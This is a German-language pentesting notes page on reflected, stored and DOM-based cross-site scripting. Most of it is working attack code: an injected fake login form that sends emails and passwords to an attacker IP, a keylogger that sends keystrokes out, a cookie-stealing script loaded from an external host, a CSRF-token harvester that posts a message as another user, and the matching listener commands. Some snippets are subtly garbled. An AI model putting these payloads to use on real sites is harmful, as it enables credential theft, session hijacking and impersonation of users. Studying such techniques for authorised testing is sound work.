> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).

# XSS-Techniken

## XSS (Reflektiert):

> Reflektiert: Diese Art von XSS tritt auf, wenn vom Benutzer bereitgestellte Daten ohne angemessene Validierung in der HTTP-Antwort gespiegelt werden. Dadurch kann ein Angreifer schädlichen Code in die Antwort einschleusen, der dann im Browser des Benutzers ausgeführt wird.

* In diesem Fall können wir HTML-Code wie im folgenden Beispiel einschleusen: `test <h1> Test </h1>`:

<figure><img src="/files/1199f9b1245c3f36f26903920fa90cab81133da2" alt="" width="563"><figcaption></figcaption></figure>

* Wir können sehen, dass wir die Textgröße mit dem **h1** Tag:

<figure><img src="/files/6b2580fe0de053e73a7321fb83bd43ea4f1dddb3" alt="" width="375"><figcaption></figcaption></figure>

## XSS (Gespeichert):

> Gespeichert: Diese Art von XSS tritt auf, wenn ein Angreifer bösartigen Code in einer Datenbank oder auf dem Webserver speichern kann, der eine verwundbare Seite hostet. Dieser Code wird jedes Mal ausgeführt, wenn die Seite geladen wird. Wenn wir ein Skript wie das folgende in einem Formular ausführen, `<script>alert("XSS")</script>`, und die folgende Warnung erhalten, bedeutet das, dass die Website für diese Art von Angriff verwundbar ist:

<figure><img src="/files/083e3fb0afe7801de656a3e4d3af4defcbb1fbbc" alt="" width="563"><figcaption></figcaption></figure>

Wir könnten den Benutzer auf eine verwundbare Website umleiten und einen Phishing-Angriff durchführen:

```javascript
<script>
window.location.href = "https://maliciouswebsite.com";
</script>

```

Dieser JavaScript-Code erstellt ein Login-Formular auf einer Webseite und sendet die eingegebenen Daten (E-Mail-Adresse und Passwort) über eine HTTP-Anfrage an eine angegebene IP-Adresse mit `fetch()`.

```javascript
<div id="formContainer">
<script>
    var email;
    var password;
    var form = '<form>' +
    'E-Mail: <input type="email" id="email" required>' +
    ' Passwort: <input type="password" id="password" required>'+
    '<input type="button" onclick="submitForm()" value="Submit">' +
    '</form>';
    document.getElementById("formContainer").innerHTML = form;
    function submitForm() {
        email = document.getElementById("email").value;
        password = document.getElementById("password").value;
        fetch("http://192.168.71.128/?email=" + email + "&password=" + password);
    }
</script>

```

<figure><img src="/files/6946a7709f51c40046de2a9bda839638dda17ba8" alt="" width="563"><figcaption></figcaption></figure>

Wir lauschen auf Port 80 mit **python3**:

```bash
python3 -m http.server 80

```

<figure><img src="/files/786fa1f398d7ceee4df0998abcfeb57689cacfd1" alt=""><figcaption></figcaption></figure>

## XSS (DOM-basiert):

> DOM-basiert: Diese Art von XSS tritt auf, wenn der schädliche Code im Browser des Benutzers über das DOM (Document Object Model) ausgeführt wird. Dies geschieht, wenn der JavaScript-Code auf einer Webseite das DOM auf eine Weise verändert, die für die Einschleusung von schädlichem Code anfällig ist. Das folgende Skript kann alle Benutzertastenanschläge erfassen und sie an einen **python3** Server über Port 80 senden:

```javascript
<script>
	var k = "";
	document.onkeypress = function(e){
		e = e || window.event;
		k += e.key;
		var i = new Image();
		i.src = "http://192.168.71.128/" + k;
	}
</script>

```

Wir können lauschen, indem wir nur die Zeichen filtern, die für uns wichtig sind, mit **grep**:

```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'

```

<figure><img src="/files/d6777707b21c90b1564fd1da102a93f24a7667d5" alt=""><figcaption></figcaption></figure>

***

Um das Session-Cookie von einem Server zu erhalten, erstellen wir diese Datei auf unserem Computer **test.js**

```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();

```

Im Formular senden wir dieses Skript:

```html
<script src="http://192.168.71.128/pwned.js"></script>

```

Wir lauschen und erhalten das Session-Cookie des Benutzers:

<figure><img src="/files/e7562c5a8547b24e2363aae784ac18cdc3befaa0" alt=""><figcaption></figcaption></figure>

Um im Namen einer anderen Person etwas zu schreiben, könnten wir die folgenden Schritte befolgen: Fange die Anfrage mit [Burp Suite](/de/hacking-tools/web/burpsuite.md) und kopiere den rot hervorgehobenen Inhalt:

<figure><img src="/files/9d5d33bef547067949f44b577fefaee7218e20de" alt="" width="563"><figcaption></figcaption></figure>

Das folgende Skript führt eine **GET** Anfrage an eine lokale URL aus, analysiert die HTML-Antwort, um ein **CSRF** Token zu identifizieren, und führt dann eine POST-Anfrage mit Daten aus, die das CSRF-Token enthalten, an dieselbe URL. Die URL-kodierte `Daten` Variable sendet die Informationen an den Server, auf dem dieses Skript implementiert ist. Es ist wichtig, die `Daten` Werte, das Token und die IP-Adresse anzupassen.

```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);

```

Im Formular senden wir dieses Skript:

```javascript
<script src="http://192.168.71.128/pwned.js"><script>

```

Wir lauschen auf Port 80 mit python3:

<figure><img src="/files/db80cdcce98ec0484067529629e18b40f0f6c7dd" alt=""><figcaption></figcaption></figure>

Die Nachricht **im Namen eines anderen Benutzers gesendet** wurde übertragen:

<figure><img src="/files/0ab55974b73fd22f78bdb2d71741aa9cd53cb5ff" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
